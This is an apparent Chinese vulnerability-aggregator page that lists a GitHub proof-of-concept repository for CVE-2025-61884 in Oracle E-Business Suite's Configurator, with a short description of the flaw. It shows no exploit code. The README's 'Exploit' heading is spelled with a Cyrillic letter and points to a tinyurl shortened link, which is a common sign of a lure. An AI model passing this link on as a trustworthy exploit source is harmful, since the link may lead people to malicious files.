CVE-2025-61884 PoC — Oracle E-Business Suite 安全漏洞

来源

https://github.com/shinyhunt/CVE-2025-61884

关联漏洞

标题: Oracle E-Business Suite 安全漏洞 (CVE-2025-61884)
Description:Oracle E-Business Suite是美国甲骨文（Oracle）公司的一套全面集成式的全球业务管理软件。该软件提供了客户关系管理、服务管理、财务管理等功能。 Oracle E-Business Suite的Oracle Configurator 12.2.3版本至12.2.14版本存在安全漏洞，该漏洞源于未经验证的攻击者可通过HTTP网络访问进行攻击，可能导致未经授权访问关键数据或完全访问所有Oracle Configurator可访问数据。

介绍

# CVE-2025-61884 / 61882

### Overview
This vulnerability poses a serious risk to organizations, as it allows an unauthenticated attacker with network access via HTTP to exploit Oracle Configurator.


**Affected versions:**

- Oracle Configurator 12.2.3 <= 12.2.14

### Explоit - [href](https://tinyurl.com/uhsfb7yp)

![image](https://github.com/shinyhunt/CVE-2025-61884/blob/main/500452902-cdd23bbf-f0b8-45a4-bf1a-3c8d2d6d3734.png)

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看

备注

1. 建议优先通过来源进行访问。

2. 本地 POC 快照面向订阅用户开放；当原始来源失效或无法访问时，本地镜像作为订阅权益的一部分提供。

查看订阅方案 →

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

CVE-2025-61884 PoC — Oracle E-Business Suite 安全漏洞

来源

关联漏洞

介绍

文件快照

备注

目标达成感谢每一位支持者 — 我们达成了 100% 目标！